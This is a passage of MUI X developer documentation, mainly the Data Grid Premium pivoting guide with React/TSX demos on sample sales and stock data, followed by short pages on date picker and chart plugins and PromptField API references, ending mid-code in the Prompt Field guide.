In the demo below, the pivot panel is already open and some pivoting parameters have been set.
Use the **Pivot** switch at the top of the panel to toggle pivoting off and on.
You can drag and drop existing columns in the **Rows**, **Columns**, and **Values** dropdown menus to change how the data is pivoted.

```tsx
import {
  DataGridPremium,
  GridColDef,
  GridRowModel,
  GridPivotModel,
  GridInitialState,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';

const rows: GridRowModel[] = [
  {
    id: 1,
    product: 'Apples',
    region: 'North',
    quarter: 'Q1',
    sales: 1000,
    profit: 100,
    size: 'L',
  },
  {
    id: 2,
    product: 'Apples',
    region: 'South',
    quarter: 'Q1',
    sales: 1200,
    profit: 120,
    size: 'M',
  },
  {
    id: 3,
    product: 'Oranges',
    region: 'North',
    quarter: 'Q1',
    sales: 800,
    profit: 80,
    size: 'M',
  },
  {
    id: 4,
    product: 'Oranges',
    region: 'South',
    quarter: 'Q1',
    sales: 900,
    profit: 90,
    size: 'S',
  },
  {
    id: 5,
    product: 'Apples',
    region: 'North',
    quarter: 'Q2',
    sales: 1100,
    profit: 110,
    size: 'L',
  },
  {
    id: 6,
    product: 'Apples',
    region: 'South',
    quarter: 'Q2',
    sales: 1300,
    profit: 130,
    size: 'L',
  },
  {
    id: 7,
    product: 'Oranges',
    region: 'North',
    quarter: 'Q2',
    sales: 850,
    profit: 85,
    size: 'M',
  },
  {
    id: 8,
    product: 'Oranges',
    region: 'South',
    quarter: 'Q2',
    sales: 950,
    profit: 95,
    size: 'S',
  },
];

const columns: GridColDef[] = [
  { field: 'product', headerName: 'Product' },
  { field: 'region', headerName: 'Region' },
  { field: 'quarter', headerName: 'Quarter' },
  {
    field: 'sales',
    headerName: 'Sales',
    type: 'number',
    valueFormatter: (value) => {
      if (!value) {
        return '';
      }
      return currencyFormatter.format(value);
    },
  },
  {
    field: 'profit',
    headerName: 'Profit',
    type: 'number',
    valueFormatter: (value) => {
      if (!value) {
        return '';
      }
      return `${value}%`;
    },
  },
  {
    field: 'size',
    headerName: 'Size',
  },
];

const pivotModel: GridPivotModel = {
  rows: [{ field: 'product' }, { field: 'size' }],
  columns: [{ field: 'region' }, { field: 'quarter' }],
  values: [
    { field: 'sales', aggFunc: 'sum' },
    { field: 'profit', aggFunc: 'avg' },
  ],
};

const initialState: GridInitialState = {
  pivoting: {
    enabled: true,
    model: pivotModel,
  },
  sidebar: {
    open: true,
    value: GridSidebarValue.Pivot,
  },
};

export default function GridPivotingQuickStart() {
  return (
    <div style={{ height: 560, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        initialState={initialState}
        columnGroupHeaderHeight={36}
        showToolbar
        slotProps={{
          toolbar: {
            showQuickFilter: false,
          },
        }}
      />
    </div>
  );
}

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

```

## Pivot model

The pivot model is a configuration object that defines rows, columns, and values of the pivot Grid:

```tsx
interface GridPivotModel {
  rows: Array<{
    field: string;
    hidden?: boolean;
  }>;
  columns: Array<{
    field: string;
    sort?: 'asc' | 'desc';
    hidden?: boolean;
  }>;
  values: Array<{
    field: string;
    aggFunc: string;
    hidden?: boolean;
  }>;
}
```

## Initialize pivoting

Use the `initialState` prop to initialize uncontrolled pivoting.
This is the recommended method unless you specifically need to control the state.
You can initialize the pivot model, toggle pivot panel visibility, and toggle the pivot mode as shown below:

```tsx
<DataGridPremium
  initialState={{ pivoting: { model: pivotModel, active: true, panelOpen: true } }}
/>
```

```tsx
import {
  DataGridPremium,
  GridColDef,
  GridRowModel,
  GridPivotModel,
  GridInitialState,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';

const rows: GridRowModel[] = [
  { id: 1, product: 'Apples', region: 'North', quarter: 'Q1', sales: 1000 },
  { id: 2, product: 'Apples', region: 'South', quarter: 'Q1', sales: 1200 },
  { id: 3, product: 'Oranges', region: 'North', quarter: 'Q1', sales: 800 },
  { id: 4, product: 'Oranges', region: 'South', quarter: 'Q1', sales: 900 },
  { id: 5, product: 'Apples', region: 'North', quarter: 'Q2', sales: 1100 },
  { id: 6, product: 'Apples', region: 'South', quarter: 'Q2', sales: 1300 },
  { id: 7, product: 'Oranges', region: 'North', quarter: 'Q2', sales: 850 },
  { id: 8, product: 'Oranges', region: 'South', quarter: 'Q2', sales: 950 },
];

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const columns: GridColDef[] = [
  { field: 'product', headerName: 'Product' },
  { field: 'region', headerName: 'Region' },
  { field: 'quarter', headerName: 'Quarter' },
  {
    field: 'sales',
    headerName: 'Sales',
    type: 'number',
    valueFormatter: (value) => {
      if (!value) {
        return '';
      }
      return currencyFormatter.format(value);
    },
  },
];

const pivotModel: GridPivotModel = {
  rows: [{ field: 'product' }],
  columns: [{ field: 'region' }, { field: 'quarter', sort: 'asc' }],
  values: [{ field: 'sales', aggFunc: 'sum' }],
};

const initialState: GridInitialState = {
  pivoting: {
    model: pivotModel,
    enabled: true,
  },
  sidebar: {
    open: true,
    value: GridSidebarValue.Pivot,
  },
};

export default function GridPivotingInitialState() {
  return (
    <div style={{ height: 560, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        initialState={initialState}
        columnGroupHeaderHeight={36}
        showToolbar
        slotProps={{
          toolbar: {
            showQuickFilter: false,
          },
        }}
      />
    </div>
  );
}

```

## Controlled pivoting

For fully controlled pivoting state, you can use the following props:

- Pivot model:
  - `pivotModel`: Controls the current pivot configuration.
  - `onPivotModelChange`: Callback fired when the pivot model changes.
- Pivot mode toggle:
  - `pivotActive`: Controls whether pivot mode is active.
  - `onPivotActiveChange`: Callback fired when the pivot mode changes between active and inactive.
- Pivot panel:
  - `pivotPanelOpen`: Controls whether the pivot panel is open.
  - `onPivotPanelOpenChange`: Callback fired when the pivot panel is opened or closed.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridColDef,
  GridRowModel,
  GridPivotModel,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';

const rows: GridRowModel[] = [
  { id: 1, product: 'Apples', region: 'North', quarter: 'Q1', sales: 1000 },
  { id: 2, product: 'Apples', region: 'South', quarter: 'Q1', sales: 1200 },
  { id: 3, product: 'Oranges', region: 'North', quarter: 'Q1', sales: 800 },
  { id: 4, product: 'Oranges', region: 'South', quarter: 'Q1', sales: 900 },
  { id: 5, product: 'Apples', region: 'North', quarter: 'Q2', sales: 1100 },
  { id: 6, product: 'Apples', region: 'South', quarter: 'Q2', sales: 1300 },
  { id: 7, product: 'Oranges', region: 'North', quarter: 'Q2', sales: 850 },
  { id: 8, product: 'Oranges', region: 'South', quarter: 'Q2', sales: 950 },
];

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

const columns: GridColDef[] = [
  { field: 'product', headerName: 'Product' },
  { field: 'region', headerName: 'Region' },
  { field: 'quarter', headerName: 'Quarter' },
  {
    field: 'sales',
    headerName: 'Sales',
    type: 'number',
    valueFormatter: (value) => {
      if (!value) {
        return '';
      }
      return currencyFormatter.format(value);
    },
  },
];

export default function GridPivotingControlled() {
  // Pivot model state
  const [pivotModel, setPivotModel] = React.useState<GridPivotModel>({
    rows: [{ field: 'product' }],
    columns: [{ field: 'region' }, { field: 'quarter', sort: 'asc' }],
    values: [{ field: 'sales', aggFunc: 'sum' }],
  });

  // Pivot mode toggle state
  const [pivotModeEnabled, setPivotModeEnabled] = React.useState(true);

  return (
    <div style={{ height: 560, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        pivotModel={pivotModel}
        onPivotModelChange={setPivotModel}
        pivotActive={pivotModeEnabled}
        onPivotActiveChange={setPivotModeEnabled}
        columnGroupHeaderHeight={36}
        showToolbar
        initialState={{
          sidebar: {
            open: true,
            value: GridSidebarValue.Pivot,
          },
        }}
        slotProps={{
          toolbar: {
            showQuickFilter: false,
          },
        }}
      />
    </div>
  );
}

```

## Using fields in the pivot model multiple times

While this is not supported yet, we are working to bring this feature to the Data Grid.

Subscribe to [this issue](https://github.com/mui/mui-x/issues/17302) to get notified when it's available.

## Disable pivoting

To disable pivoting feature completely, set the `disablePivoting` prop to `true`:

```tsx
<DataGridPremium disablePivoting />
```

### Disable pivoting for specific columns

To exclude specific column from pivoting, set the `pivotable: false` on its [column definition](/x/api/data-grid/grid-col-def/#grid-col-def-prop-pivotable):

```tsx
const columns: GridColDef[] = [{ field: 'id', pivotable: false }];

<DataGridPremium columns={columns} />;
```

```tsx
import {
  DataGridPremium,
  GridColDef,
  GridRowModel,
  GridPivotModel,
  GridInitialState,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';

const rows: GridRowModel[] = [
  { id: 1, product: 'Apples', region: 'North', quarter: 'Q1', sales: 1000 },
  { id: 2, product: 'Apples', region: 'South', quarter: 'Q1', sales: 1200 },
  { id: 3, product: 'Oranges', region: 'North', quarter: 'Q1', sales: 800 },
  { id: 4, product: 'Oranges', region: 'South', quarter: 'Q1', sales: 900 },
  { id: 5, product: 'Apples', region: 'North', quarter: 'Q2', sales: 1100 },
  { id: 6, product: 'Apples', region: 'South', quarter: 'Q2', sales: 1300 },
  { id: 7, product: 'Oranges', region: 'North', quarter: 'Q2', sales: 850 },
  { id: 8, product: 'Oranges', region: 'South', quarter: 'Q2', sales: 950 },
];

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', pivotable: false },
  { field: 'product', headerName: 'Product' },
  { field: 'region', headerName: 'Region' },
  { field: 'quarter', headerName: 'Quarter' },
  {
    field: 'sales',
    headerName: 'Sales',
    type: 'number',
    valueFormatter: (value) => {
      if (!value) {
        return '';
      }
      return currencyFormatter.format(value);
    },
  },
];

const pivotModel: GridPivotModel = {
  rows: [{ field: 'product' }],
  columns: [{ field: 'region' }, { field: 'quarter', sort: 'asc' }],
  values: [{ field: 'sales', aggFunc: 'sum' }],
};

const initialState: GridInitialState = {
  pivoting: {
    model: pivotModel,
    enabled: true,
  },
  sidebar: {
    open: true,
    value: GridSidebarValue.Pivot,
  },
};

export default function GridNonPivotableColumns() {
  return (
    <div style={{ height: 560, width: '100%' }}>
      <DataGridPremium
        rows={rows}
        columns={columns}
        initialState={initialState}
        columnGroupHeaderHeight={36}
        showToolbar
        slotProps={{
          toolbar: {
            showQuickFilter: false,
          },
        }}
      />
    </div>
  );
}

const currencyFormatter = new Intl.NumberFormat('en-US', {
  style: 'currency',
  currency: 'USD',
  minimumFractionDigits: 0,
  maximumFractionDigits: 0,
});

```

## Derived columns in pivot mode

In pivot mode, it's often useful to group data by a year or quarter.
The Data Grid automatically generates year and quarter columns for each **Date** column for this purpose.

:::success
Use [pivotingColDef()](/x/api/data-grid/data-grid-premium/#data-grid-premium-prop-pivotingColDef) to customize derived columns definition.
:::

For example, the sales dataset used throughout the examples has a **Quarter** column.
But in a real-world dataset, each sales record would typically have a precise **Transaction Date** field, as in the following demo.

The **Transaction Date** column is represented by additional columns in pivot mode: **Transaction Date (Year)** and **Transaction Date (Quarter)**:

```tsx
import {
  DataGridPremium,
  GridColDef,
  GridPivotModel,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 90 },
  {
    field: 'transactionDate',
    type: 'date',
    headerName: 'Transaction Date',
    width: 140,
    valueGetter: (value) => (value ? new Date(value) : null),
  },
  { field: 'ticker', headerName: 'Ticker' },
  {
    field: 'price',
    type: 'number',
    headerName: 'Price',
    valueFormatter: (value: number | undefined) =>
      value ? `$${value.toFixed(2)}` : null,
  },
  { field: 'volume', type: 'number', headerName: 'Volume' },
  {
    field: 'type',
    type: 'singleSelect',
    valueOptions: ['stock', 'bond'],
    headerName: 'Type',
  },
];

const getYearField = (field: string) => `${field}-year`;
const getQuarterField = (field: string) => `${field}-quarter`;

const pivotModel: GridPivotModel = {
  rows: [{ field: 'ticker' }],
  columns: [
    { field: getYearField('transactionDate'), sort: 'asc' },
    { field: getQuarterField('transactionDate'), sort: 'asc' },
  ],
  values: [
    { field: 'price', aggFunc: 'avg' },
    { field: 'volume', aggFunc: 'sum' },
  ],
};

export default function GridPivotingFinancial() {
  return (
    <div style={{ width: '100%' }}>
      <div style={{ height: 560, width: '100%' }}>
        <DataGridPremium
          rows={rows}
          columns={columns}
          showToolbar
          initialState={{
            pivoting: {
              enabled: true,
              model: pivotModel,
            },
            sidebar: {
              open: true,
              value: GridSidebarValue.Pivot,
            },
          }}
          columnGroupHeaderHeight={36}
          slotProps={{
            toolbar: {
              showQuickFilter: false,
            },
          }}
        />
      </div>
    </div>
  );
}

const rows = [
  {
    id: 1,
    transactionDate: '2024-05-15',
    ticker: 'AAPL',
    price: 192.45,
    volume: 5500,
    type: 'stock',
  },
  {
    id: 2,
    transactionDate: '2024-03-16',
    ticker: 'GOOGL',
    price: 125.67,
    volume: 3200,
    type: 'stock',
  },
  {
    id: 3,
    transactionDate: '2024-01-17',
    ticker: 'MSFT',
    price: 345.22,
    volume: 4100,
    type: 'stock',
  },
  {
    id: 4,
    transactionDate: '2023-12-18',
    ticker: 'AAPL',
    price: 193.1,
    volume: 6700,
    type: 'stock',
  },
  {
    id: 5,
    transactionDate: '2024-11-19',
    ticker: 'AMZN',
    price: 145.33,
    volume: 2900,
    type: 'stock',
  },
  {
    id: 6,
    transactionDate: '2024-03-20',
    ticker: 'GOOGL',
    price: 126.45,
    volume: 3600,
    type: 'stock',
  },
  {
    id: 7,
    transactionDate: '2024-08-21',
    ticker: 'US_TREASURY_2Y',
    price: 98.75,
    volume: 1000,
    type: 'bond',
  },
  {
    id: 8,
    transactionDate: '2024-05-22',
    ticker: 'MSFT',
    price: 347.89,
    volume: 4500,
    type: 'stock',
  },
  {
    id: 9,
    transactionDate: '2024-04-23',
    ticker: 'US_TREASURY_10Y',
    price: 95.6,
    volume: 750,
    type: 'bond',
  },
  {
    id: 10,
    transactionDate: '2024-03-24',
    ticker: 'AMZN',
    price: 146.22,
    volume: 3100,
    type: 'stock',
  },
];

```

### Custom derived columns

Use the `getPivotDerivedColumns()` prop to customize derived columns.
This prop is called for each original column and returns an array of derived columns, or `undefined` if no derived columns are needed.

:::success
To sort the derived columns by a value different than the column header name—for instance, to display months of the year—define both `valueGetter()` and `valueFormatter()` for the derived column.
:::

```tsx
import {
  DataGridPremium,
  DataGridPremiumProps,
  GridColDef,
  GridPivotModel,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';

const getPivotDerivedColumns: DataGridPremiumProps['getPivotDerivedColumns'] = (
  column,
) => {
  if (column.type === 'date') {
    const field = column.field;
    return [
      {
        field: `${field}-year`,
        headerName: `${column.headerName} (Year)`,
        valueGetter: (_, row) => new Date(row[field]).getFullYear(),
      },

      {
        field: `${field}-month`,
        headerName: `${column.headerName} (Month)`,
        type: 'number',
        valueGetter: (_, row) => new Date(row[field]).getMonth(),
        valueFormatter: (month) =>
          new Date(0, month).toLocaleString(undefined, { month: 'long' }),
      },
    ];
  }
  return undefined;
};
const getYearField = (field: string) => `${field}-year`;
const getMonthField = (field: string) => `${field}-month`;

const columns: GridColDef[] = [
  { field: 'id', headerName: 'ID', width: 90 },
  {
    field: 'transactionDate',
    type: 'date',
    headerName: 'Transaction Date',
    width: 140,
    valueGetter: (value) => (value ? new Date(value) : null),
  },
  { field: 'ticker', headerName: 'Ticker' },
  {
    field: 'price',
    type: 'number',
    headerName: 'Price',
    valueFormatter: (value: number | undefined) =>
      value ? `$${value.toFixed(2)}` : null,
  },
  { field: 'volume', type: 'number', headerName: 'Volume' },
  {
    field: 'type',
    type: 'singleSelect',
    valueOptions: ['stock', 'bond'],
    headerName: 'Type',
  },
];

const pivotModel: GridPivotModel = {
  rows: [{ field: 'ticker' }],
  columns: [
    { field: getYearField('transactionDate'), sort: 'asc' },
    { field: getMonthField('transactionDate'), sort: 'asc' },
  ],
  values: [
    { field: 'price', aggFunc: 'avg' },
    { field: 'volume', aggFunc: 'sum' },
  ],
};

export default function GridGetPivotDerivedColumns() {
  return (
    <div style={{ width: '100%' }}>
      <div style={{ height: 560, width: '100%' }}>
        <DataGridPremium
          rows={rows}
          columns={columns}
          getPivotDerivedColumns={getPivotDerivedColumns}
          initialState={{
            pivoting: {
              enabled: true,
              model: pivotModel,
            },
            sidebar: {
              open: true,
              value: GridSidebarValue.Pivot,
            },
          }}
          showToolbar
          columnGroupHeaderHeight={36}
          slotProps={{
            toolbar: {
              showQuickFilter: false,
            },
          }}
        />
      </div>
    </div>
  );
}

const rows = [
  {
    id: 1,
    transactionDate: '2024-05-15',
    ticker: 'AAPL',
    price: 192.45,
    volume: 5500,
    type: 'stock',
  },
  {
    id: 2,
    transactionDate: '2024-03-16',
    ticker: 'GOOGL',
    price: 125.67,
    volume: 3200,
    type: 'stock',
  },
  {
    id: 3,
    transactionDate: '2024-01-17',
    ticker: 'MSFT',
    price: 345.22,
    volume: 4100,
    type: 'stock',
  },
  {
    id: 4,
    transactionDate: '2023-12-18',
    ticker: 'AAPL',
    price: 193.1,
    volume: 6700,
    type: 'stock',
  },
  {
    id: 5,
    transactionDate: '2024-11-19',
    ticker: 'AMZN',
    price: 145.33,
    volume: 2900,
    type: 'stock',
  },
  {
    id: 6,
    transactionDate: '2024-03-20',
    ticker: 'GOOGL',
    price: 126.45,
    volume: 3600,
    type: 'stock',
  },
  {
    id: 7,
    transactionDate: '2024-08-21',
    ticker: 'US_TREASURY_2Y',
    price: 98.75,
    volume: 1000,
    type: 'bond',
  },
  {
    id: 8,
    transactionDate: '2024-05-22',
    ticker: 'MSFT',
    price: 347.89,
    volume: 4500,
    type: 'stock',
  },
  {
    id: 9,
    transactionDate: '2024-04-23',
    ticker: 'US_TREASURY_10Y',
    price: 95.6,
    volume: 750,
    type: 'bond',
  },
  {
    id: 10,
    transactionDate: '2024-03-24',
    ticker: 'AMZN',
    price: 146.22,
    volume: 3100,
    type: 'stock',
  },
];

```

## Sticky column groups

Depending on the pivot mode, some column groups might exceed the width of the Data Grid viewport.
To improve the user experience, you can make these column groups "sticky" so that the column group labels remain visible while scrolling horizontally.

You can use the `sx` prop to apply the necessary styles:

```tsx
<DataGridPremium
  sx={{
    '& .MuiDataGrid-columnHeader--filledGroup': {
      '& .MuiDataGrid-columnHeaderTitleContainer': {
        overflow: 'visible',
      },
      '& .MuiDataGrid-columnHeaderTitleContainerContent': {
        position: 'sticky',
        left: 8,
      },
    },
  }}
/>
```

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GridColDef,
  GridPivotModel,
} from '@mui/x-data-grid-premium';
import { useMovieData } from '@mui/x-data-grid-generator';

const pivotModel: GridPivotModel = {
  rows: [{ field: 'company' }],
  columns: [
    { field: 'year', sort: 'desc' },
    { field: 'cinematicUniverse', sort: 'asc' },
    { field: 'director', sort: 'asc' },
  ],
  values: [
    { field: 'gross', aggFunc: 'sum' },
    { field: 'imdbRating', aggFunc: 'avg' },
  ],
};

export default function GridPivotingMovies() {
  const movieData = useMovieData();
  const data = React.useMemo(() => {
    return {
      ...movieData,
      columns: [
        ...movieData.columns.map((col) => ({ ...col, editable: true })),
        { field: 'imdbRating', headerName: 'Rating', type: 'number' },
      ] as GridColDef[],
    };
  }, [movieData]);

  return (
    <div style={{ width: '100%' }}>
      <div style={{ height: 560, width: '100%' }}>
        <DataGridPremium
          rows={data.rows}
          columns={data.columns}
          initialState={{
            pivoting: {
              enabled: true,
              model: pivotModel,
            },
          }}
          showToolbar
          columnGroupHeaderHeight={36}
          sx={{
            '& .MuiDataGrid-columnHeader--filledGroup': {
              '& .MuiDataGrid-columnHeaderTitleContainer': {
                overflow: 'visible',
              },
              '& .MuiDataGrid-columnHeaderTitleContainerContent': {
                position: 'sticky',
                left: 8,
              },
            },
          }}
          slotProps={{
            toolbar: {
              showQuickFilter: false,
            },
          }}
        />
      </div>
    </div>
  );
}

```

## Advanced demo

The following demo showcases pivoting on a larger Commodities dataset with over 30 different columns to choose for pivoting parameters.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD,
  GridPivotModel,
  DataGridPremiumProps,
  GridInitialState,
  GridSidebarValue,
} from '@mui/x-data-grid-premium';
import { useDemoData } from '@mui/x-data-grid-generator';

const pivotModel: GridPivotModel = {
  rows: [{ field: 'commodity' }],
  columns: [{ field: 'maturityDate-year', sort: 'asc' }, { field: 'status' }],
  values: [
    { field: 'quantity', aggFunc: 'sum' },
    { field: 'filledQuantity', aggFunc: 'avg' },
    { field: 'totalPrice', aggFunc: 'avg' },
  ],
};

const initialState: GridInitialState = {
  pivoting: {
    model: pivotModel,
  },
  sidebar: {
    open: true,
    value: GridSidebarValue.Pivot,
  },
  pinnedColumns: {
    left: [GRID_ROW_GROUPING_SINGLE_GROUPING_FIELD],
  },
};

const pivotingColDef: DataGridPremiumProps['pivotingColDef'] = (
  originalColumnField,
) => {
  if (originalColumnField === 'quantity') {
    return { width: 80 };
  }
  return undefined;
};

export default function GridPivotingCommodities() {
  const { data, loading } = useDemoData({
    dataSet: 'Commodity',
    rowLength: 1_000,
    editable: true,
  });

  const [pivotActive, setPivotActive] = React.useState(false);

  return (
    <div style={{ width: '100%' }}>
      <div style={{ height: 560, width: '100%' }}>
        <DataGridPremium
          rows={data.rows}
          columns={data.columns}
          showToolbar
          pivotActive={pivotActive}
          onPivotActiveChange={setPivotActive}
          initialState={initialState}
          loading={loading}
          columnGroupHeaderHeight={36}
          pivotingColDef={pivotingColDef}
          slotProps={{
            toolbar: {
              showQuickFilter: false,
            },
          }}
        />
      </div>
    </div>
  );
}

```

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/react-date-pickers/playground.md

---
productId: x-date-pickers
title: Date and Time Pickers - Customization playground
packageName: '@mui/x-date-pickers'
githubLabel: 'scope: pickers'
components: PickerDay2, DateRangePickerDay2
materialDesign: https://m2.material.io/components/date-pickers
waiAria: https://www.w3.org/WAI/ARIA/apg/patterns/dialog-modal/examples/datepicker-dialog/
---

# Customization playground

Use this playground to experiment with the props that affect the layout of the Date and Time Picker components.

```jsx
import PickersPlayground from 'docsx/src/modules/components/PickersPlayground';

export default function PickersPlaygroundWrapper() {
  return <PickersPlayground />;
}

```

---

# Source: https://mui.com/x/react-charts/plugins.md

---
title: Charts - Plugins
productId: x-charts
components: ChartContainer, ChartDataProvider
---

# Charts - Plugins

The library relies on two systems to perform data processing: the plugins and the series config.

:::warning
This information is for advanced use-cases.
Most charts should not require changes to either the plugins or the series configuration.
:::

## Plugins

Plugins are functions that add features to the chart.
They can process data, add internal state, or listen to events.

Plugins can be passed to the `<ChartContainer />` or the `<ChartDataProvider />` with the `plugins` props.

:::info
Notice that `myChartPlugins` is defined outside of the component.
That's because plugins contain hooks and so their order should not be modified.
:::

```jsx
const myChartPlugins = [useChartInteraction, useChartHighlight];

function MyChart() {
  return <ChartContainer plugins={myChartPlugins}>{/* ... */}</ChartContainer>;
}
```

### Plugins per chart

The default array of plugins can be imported from the corresponding chart folder.
This allows you to get the exact same feature as the component while using composition.

```ts
// Community package
import { PIE_CHART_PLUGINS, PieChartPluginSignatures } from '@mui/x-charts/PieChart';
// Pro package
import { PIE_CHART_PLUGINS, PieChartPluginSignatures } from '@mui/x-charts-pro/PieChart';
import { PIE_CHART_PRO_PLUGINS, PieChartProPluginSignatures } from '@mui/x-charts-pro/PieChartPro';


function MyPieChart() {
    return <ChartContainer plugins={PIE_CHART_PLUGINS}>
        {/* ... */}
    </ChartContainer>
}
```

### Plugins list

You can import plugins individually from `@mui/x-charts/plugins`.

When creating your custom array of plugins, be aware that some plugins have dependencies.

- dependencies: plugins that need to be set before for them to work.
- optional dependencies: plugins that need to be set before to enable some features.

For example, the `useChartClosestPoint` has the `useChartCartesianAxis` as a dependency and the `useChartHighlight` as an optional dependency. Then

- `[useChartClosestPoint, useChartCartesianAxis]` does not work because the closest point plugin is before the cartesian one.
- `[useChartCartesianAxis, useChartClosestPoint]` works because the cartesian plugin is set before the one for closest point.
- `[useChartCartesianAxis, useChartClosestPoint, useChartHighlight]` works with limited feature. The highlight plugin being after the closest point one, you get the highlight feature, but not highlight based on closest point.

| Plugin                                             | Dependencies            | Optional dependency                            |
| :------------------------------------------------- | :---------------------- | :--------------------------------------------- |
| `useChartCartesianAxis`                            |                         | `useChartInteraction`                          |
| `useChartPolarAxis`                                |                         | `useChartInteraction`                          |
| `useChartHighlight`                                |                         |                                                |
| `useChartTooltip`                                  |                         |                                                |
| `useChartInteraction`                              |                         | `useChartTooltip`                              |
| `useChartClosestPoint`                             | `useChartCartesianAxis` | `useChartInteraction`,<br/>`useChartHighlight` |
| `useChartZAxis`                                    |                         |                                                |
| `useChartBrush`                                    |                         |                                                |
| `useChartProExport` <span class="plan-pro"></span> |                         |                                                |
| `useChartProZoom` <span class="plan-pro"></span>   | `useChartCartesianAxis` |                                                |

### Custom plugins

:::warning
Creating custom plugins is not encouraged.
:::

The plugin's internal implementation is not considered stable.
It can break at any time, including patch and minor versions.

---

# Source: https://mui.com/x/api/data-grid/prompt-field-control.md

# PromptFieldControl API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Prompt Field component

## Import

```jsx
import { PromptFieldControl } from '@mui/x-data-grid-premium/components';
// or
import { PromptFieldControl } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/promptField/PromptFieldControl.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/promptField/PromptFieldControl.tsx)

---

# Source: https://mui.com/x/api/data-grid/prompt-field-record.md

# PromptFieldRecord API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Prompt Field component

## Import

```jsx
import { PromptFieldRecord } from '@mui/x-data-grid-premium/components';
// or
import { PromptFieldRecord } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/promptField/PromptFieldRecord.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/promptField/PromptFieldRecord.tsx)

---

# Source: https://mui.com/x/api/data-grid/prompt-field-send.md

# PromptFieldSend API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Data Grid - Prompt Field component

## Import

```jsx
import { PromptFieldSend } from '@mui/x-data-grid-premium/components';
// or
import { PromptFieldSend } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| className | `func \| string` | - | No |  |
| render | `element \| func` | - | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid-premium/src/components/promptField/PromptFieldSend.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid-premium/src/components/promptField/PromptFieldSend.tsx)

---

# Source: https://mui.com/x/api/data-grid/prompt-field.md

# Source: https://mui.com/x/react-data-grid/components/prompt-field.md

---
title: Data Grid - Prompt Field component
productId: x-data-grid
components: PromptField, PromptFieldRecord, PromptFieldControl, PromptFieldSend
packageName: '@mui/x-data-grid-premium'
githubLabel: 'scope: data grid'
---

# Data Grid - Prompt Field component [<span class="plan-premium"></span>](/x/introduction/licensing/#premium-plan 'Premium plan')

Provide users with a prompt field to interact with the AI assistant.

The prompt field is part of the [AI Assistant feature](/x/react-data-grid/ai-assistant/).

You can use the Prompt Field component directly if you want to build your own UI for the AI Assistant.

## Basic usage

The demo below shows how to add a prompt field to a custom toolbar.

```tsx
import * as React from 'react';
import {
  DataGridPremium,
  Toolbar,
  PromptField,
  PromptFieldRecord,
  PromptFieldControl,
  PromptFieldSend,
  IS_SPEECH_RECOGNITION_SUPPORTED,
  useGridApiContext,
} from '@mui/x-data-grid-premium';
import { styled } from '@mui/material/styles';
import { mockPromptResolver, useDemoData } from '@mui/x-data-grid-generator';
import InputAdornment from '@mui/material/InputAdornment';
import TextField from '@mui/material/TextField';
import IconButton from '@mui/material/IconButton';
import Tooltip from '@mui/material/Tooltip';
import MicIcon from '@mui/icons-material/Mic';
import MicOffIcon from '@mui/icons-material/MicOff';
import SendIcon from '@mui/icons-material/Send';
import Snackbar from '@mui/material/Snackbar';
import Alert from '@mui/material/Alert';

const StyledToolbar = styled(Toolbar)({
  minHeight: 'auto',
  justifyContent: 'center',
});

const SUCCESS_STATUS_TEXT = 'Prompt applied';

function CustomToolbar() {
  const apiRef = useGridApiContext();
  const [statusText, setStatusText] = React.useState<string | null>(null);
  const [snackbarOpen, setSnackbarOpen] = React.useState(false);
  const placeholder = IS_SPEECH_RECOGNITION_SUPPORTED
    ? 'Type or record a prompt…'
    : 'Type a prompt…';

  const handlePromptSubmit = async (prompt: string) => {
    setStatusText(null);
    const response = await apiRef.current.aiAssistant.processPrompt(prompt);
    if (response instanceof Error) {
      setStatusText(response.message);
      setSnackbarOpen(true);
    } else {
      setStatusText(SUCCESS_STATUS_TEXT);
      setSnackbarOpen(true);
    }
  };

  return (
